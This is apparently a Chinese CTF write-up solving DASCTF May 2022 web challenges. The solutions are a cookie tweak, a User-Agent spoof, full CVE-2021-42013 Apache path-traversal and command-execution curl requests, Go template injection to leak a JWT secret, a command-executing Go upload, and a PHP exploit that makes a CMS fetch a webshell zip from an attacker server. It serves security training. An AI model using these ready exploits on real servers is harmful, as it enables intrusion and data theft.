2022DASCTF MAY 出题人挑战赛
Power Cookie
发包,查看回显
在cookie加一个
admin=1
得到flag
DASCTF{ad2e3900-06dd-4b04-9cec-1a8878a3777f}
魔法浏览器
f12查看
然后修改报文
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Magic/100.0.4896.75
DASCTF{d6213d8a-3060-4f5b-9fb6-6e2bda77a6d6}
getme
根据返回包:
Apache/2.4.50 (Unix)
找到一个这个版本的路径穿越的CVE
(1条消息) Apache HTTP Server 2.4.50 中的路径遍历和文件泄露漏洞 (CVE-2021-42013)_RichardLg的博客-CSDN博客_apache目录遍历漏洞修复
用CVE打
GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/flag
查看任意文件
curl -v --path-as-is http://node4.buuoj.cn:25954/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
还能执行任意命令
curl -v --data "echo;id" 'http://node4.buuoj.cn:25954/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
查看日志,发现有一个/icons/.%%32%65/logs/access_log
的记录
我们访问,发现flag的相关信息
访问
/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/diajgk/djflgak/qweqr/eigopl/fffffflalllallalagggggggggg
fxxgo
审计一下源码
- 会从环境变量中获取secret_key,flag,admin_id,admin_pw,并且将admin_id和admin_pw作为初始的变量,传入acc中
- get_account是根据id,找到对应的account变量,clear_account是清楚生成的变量,只留下第一个admin,这个也是唯一一个is_admin为true的
- jwt_encode和jwt_decode应该是根据已有的库生成的函数,主要功能是进行jwt加密和解密
- /的POST方式,对应rootHandler,获取
X-Token
,然后jwt解密,输出id(主要是用来测试的) - /flag的POST方式,对应flagHandler,获取
X-Token
,然后jwt解密,判断is_admin是否为true,如果是,就输出flag - /auth的POST方式,对应authHandler,进行POST方式传参id和pw,判断acc的长度,获取id对应的account对象,然后判断该account的id是pw是否符合规定,然后将id和is-admin进行jwt加密,将加密内容返回
- /register对应Resist,进行POST方式传值id和pw,要判断不能是已经存在的id,然后判断acc的数量是否大于4,然后生成新的acount对象,然后添加进acc
这个是原题:LINECTF2022 [gotm]
我们把思路以正确的思路来一遍,解题的关键是如何从环境变量中获取secret_key
在roothandler中,会将id拼接到template.New("").Parse()
解析的字符串中,并且调用了返回变量的Execute方法
func rootHandler(c *gin.Context) {
//获取头部的X-Token
token := c.GetHeader("X-Token")
if token != "" {
print(jwt_decode(token))
id, _ := jwt_decode(token)
acc := get_account(id) //找出和id相同的account对象
tpl, err := template.New("").Parse("Logged in as " + acc.id)
if err != nil {
}
tpl.Execute(c.Writer, &acc)
return
} else {
return
}
}
go的SSTI漏洞成因与模板语法和jinja2相差不大,但是仅仅是{{}}
在go中是非法的,需要有占位符,比如
{{.}}
而结构体是Go中一个非常重要的类型,Go通过结构体来类比一个对象,因此他的字段就是一个对象的属性。通常Json的编码和解析都需要通过结构体来实现,加之模板渲染支持传入一个结构体的实例来渲染它的字段,这就造成了信息泄漏的可能。
比如
type User struct {
Id int
Name string
Passwd string
}
我们仿造{{.Name}}
或者{{.Passwd}}
就能获得Passwd字段或者Name字段
我们同样通过{{.}}
获取当前的Account的所有字段,包括secret_key
我们创建一个id为{{.}}
的用户,然后通过auth得到其jwt加密内容返回
然后通过rootHandler,得到secret_key
fasdf972u1041xu90zm10Av
jwt.io进行jwt密文生成
然后将生成的X-Token放进去,然后在/flag
路由访问,即可得到flag
hackme
是一个go题目
需要我们上传一个users.go文件,然后其执行,我们访问users,会返回文件执行结果
找一个代码修改一下:Go语言中用 os/exec 执行命令的五种姿势 - 知乎 (zhihu.com)
package main
import (
"fmt"
"log"
"os/exec"
)
func main() {
cmd := exec.Command("ls", "-l", "/")
out, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("combined out:\n%s\n", string(out))
log.Fatalf("cmd.Run() failed with %s\n", err)
}
fmt.Printf("combined out:\n%s\n", string(out))
}
然后将命令修改为
cmd := exec.Command("cat","/flag")
ezcms
后台登录
http://7040c0a2-4d48-4666-a172-d77f620fd27f.node4.buuoj.cn:81/admin.php/login
弱密码
弱密码
admin
123456
123456
登录之后就是管理界面
相对于这个admin的操作界面的各种功能,应该是在ezcms\sys\apps\controllers\admin
目录下,注意其中的Update.php
在Update.php中,会去根据GET方式传的url,下载远程的zip包
然后将压缩包解压,将里面的文件放在我们能访问到的目录下,所以可以传一个木马
但是需要用到sys_auth
函数的对我们传入的字符串进行解密为http://ip//a.zip
这样的格式,然后才进行下载
这个sys_auth
函数不能单独
直接在本地使用,因为其中有个Mc_Encryption_Key
全局变量
跟进,即可找到Mc_Encryption_Key
的值
//encryption_key密钥
define('Mc_Encryption_Key','GKwHuLj9AOhaxJ2');
写exp.php
<?php
//encryption_key密钥
define('Mc_Encryption_Key','GKwHuLj9AOhaxJ2');
//字符加密、解密
function sys_auth($string, $type = 0, $key = '', $expiry = 0) {
if(is_array($string)) $string = json_encode($string);
if($type == 1) $string = str_replace('-','+',$string);
$ckey_length = 4;
$key = md5($key ? $key : Mc_Encryption_Key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($type == 1 ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $type == 1 ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($type == 1) {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
$result = substr($result, 26);
$json = json_decode($result,1);
if(!is_numeric($result) && $json){
return $json;
}else{
return $result;
}
}
return '';
}
return str_replace('+', '-', $keyc.str_replace('=', '', base64_encode($result)));
}
$url = "http://ip/sk1y.zip";
var_dump(sys_auth($url));
生成payload
提前在vps放上sk1y.zip,sk1y.zip中有sk1y.php一句话木马,密码为1
传参url
http://3d9b575a-63b7-43fb-aa7b-0a05c68a1821.node4.buuoj.cn:81/admin.php/update?url=64abFHEAYHJ9K1k/scXRP22sT6CZOhNab5IUJyfSHvFjYfxHjZliW2gVc0/zm6bA7WtyPzbnbTprM4k
蚁剑连接
http://3d9b575a-63b7-43fb-aa7b-0a05c68a1821.node4.buuoj.cn:81/sk1y.php
密码:1
flag在根目录下